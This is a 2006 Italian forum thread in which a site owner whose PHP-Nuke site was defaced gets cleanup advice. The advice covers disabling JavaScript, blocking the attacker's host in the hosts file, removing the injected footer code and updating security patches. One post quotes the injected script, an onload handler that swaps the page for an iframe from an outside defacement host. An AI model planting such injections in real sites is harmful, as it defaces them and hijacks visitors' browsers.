LinkBack URL
About LinkBacksSalve a tutti..ispero che questa sia la sezione giusta x postare sennò chiedo scusa in anticipo!!
Il titolo del topic è alquanto esplicativo
www.catproduction.altervista.org
mi hanno bucato il sito..vi prego...cè modo x rimediare..?il backup del database non lo faccio da un bel po di tempo..spero nn sia successo l irreparabile..cè modo x rintracciare l ip del simpaticone? avevo messo sul sito un modulo antihacker ma ora nn ricordo come si kiama..si vede che non è servito...
Help me please....
Ps non è stato modificato nel il nick nel l'account xkè riesco benissimo tramite ftp ad entrare...
Visualizzazione risultati 1 fino 14 di 14
Discussione: Mi hanno bucato il sito.....Aiuto!!!
-
10-03-2006, 17.29.27 #1Guest
Mi hanno bucato il sito.....Aiuto!!!
-
10-03-2006, 18.11.31 #2
Amministratore
- Data registrazione
- 15-02-2001
- Messaggi
- 18,035
Il sito web si vede normalmente, è stato già ripristinato?
In ogni modo AlterVista offre un backup settimanale del database mysql (automatico), vedi sezione novità del forum, chiaramente se non aggiornerai gli scripts vulnerabili l'episodio è destinato a ripetersi.Gianluca
-
10-03-2006, 18.23.07 #3
Utente storico
- Data registrazione
- 11-03-2004
- Residenza
- Zena
- Messaggi
- 3,317
No, Gianluca... Non so quanto tu sei rimasto sulla Home ma, dopo 30 secondi (o giù di lì) la stessa scompare e appare una pagina dove appunto è segnalato il danno.
[EDIT]
Attenzione: non provate a cliccare su quella pagina che alla fine vi impalla il browser ! (almeno a me così è successo) ... Chiudete tramite la X rossa.Ultima modifica di Taitaonline : 10-03-2006 alle ore 18.26.34
...Il grano che nasce e l'acqua che va, è un dono di tutti, padroni non ha...
My Site FAQ di AlterVista Regolamento di AlterVista
-
10-03-2006, 18.26.16 #4
Utente storico
- Data registrazione
- 23-03-2004
- Residenza
- Sud-Est Asiatico
- Messaggi
- 4,363
.... si praticamente è impostato una sepece di redirect che ti porta su una pagina con la scritta a cascata con la seguente dicitura "Net Hakers".
Ultima modifica di chrisbiro : 10-03-2006 alle ore 18.27.29
-
10-03-2006, 19.09.02 #5Guest
allora...qualcuno sa come potrei riparare....
-
10-03-2006, 19.21.15 #6Guest
il tipo ha inserito
appena sopra il footerCodice:<body topmargin=0 leftmargin=6 onload="document.body.innerHTML='<iframe width=100% height=100% src=http://nethacker.vilabol.uol.com.br//INDEX.htm></iframe>';">
disabilitando il javascript, rendi innocua tutta la baracca e hai tempo di sistemare.
Dovresti cercare quale template è stato modificato (probabilmente il footer o quello globale)
mavericck
-
10-03-2006, 19.41.52 #7Guest
dove posso trovare una guida a riguardo..in realtà non tocco php&simili da una vita..e se prima ero un niubbo con qlk conoscenza...ora non ricordo + nulla...
se qualcuno mi potesse dare una mano mi farebbe piacere..so che del mio piacere non ve ne fate un kakkioXD xò lo chiedo lo stesso;p
-
10-03-2006, 20.08.14 #8Guest
Eh..io lo farei volentieri, ma sarebbe da vedere la struttura del sito..
-
10-03-2006, 20.26.39 #9Guest
ma in pratica cosa ha esattamente toccato?come posso fare a capirlo?
-
10-03-2006, 23.43.31 #10
Utente storico
- Data registrazione
- 31-05-2002
- Residenza
- Vicenza
- Messaggi
- 5,670
secondo me ti ha semplicemente modificato il campo sql relativo al codice da aggiungere al footer...
se non vuoi installare cose varie sul tuo pc puoi seguire due bassi:
0) chiudere il browser
1) modificare con notepad il file
c:\windows\system32\drivers\etc\hosts
aggiungendo alla fine la riga:
127.0.0.1 nethacker.vilabol.uol.com.br
2) aprire il browser, andare sul tuo sito, andare nell'amministrazione -> preferenze e modificare i campi relativi al footer (sono 3 campi mi pare) togliendo il codice aggiunto dallo script kiddie
:)There are three kinds of people in this world: people who watch things happen ... people who complain about things that happen ... and people who make things happen...
-
11-03-2006, 00.07.19 #11Guest
grazie mille!!!!ho disabilitato gli script e ho fatto come mi hai detto..non ricordavo cosa fosse il footer;p..mi hai acceso una lampadina!
ma come è in grado di fare una cosa del genere..può anche entrare e cancellare tutto?come ha fatto a fare quello che ha fatto...-_-"?uso nuckesentinel..questo avrebbe dovuto evitare quello che è successo?
grazie ancora!!
-
11-03-2006, 00.11.46 #12
Utente storico
- Data registrazione
- 31-05-2002
- Residenza
- Vicenza
- Messaggi
- 5,670
dipende che versione usi di nukesentinel.. e comunque nukesentinel va considerato un "aggiunta"... l'importante è avere già il nuke corretto...
(e comunque che versione di sentinel: vecchia o recente?)
a partire dall patch di sicurezza di www.nukefixes.com :)There are three kinds of people in this world: people who watch things happen ... people who complain about things that happen ... and people who make things happen...
-
11-03-2006, 00.33.48 #13Guest
2.2 ...vekkiotta..penso...non tocco il sito da tempo immemorabile...ihihih
-
11-03-2006, 00.41.49 #14
Utente storico
- Data registrazione
- 31-05-2002
- Residenza
- Vicenza
- Messaggi
- 5,670
la versione attuale è la 2.4.2... è fatta per phpnuke7... se hai versioni più vecchie devi modificarla...
There are three kinds of people in this world: people who watch things happen ... people who complain about things that happen ... and people who make things happen...
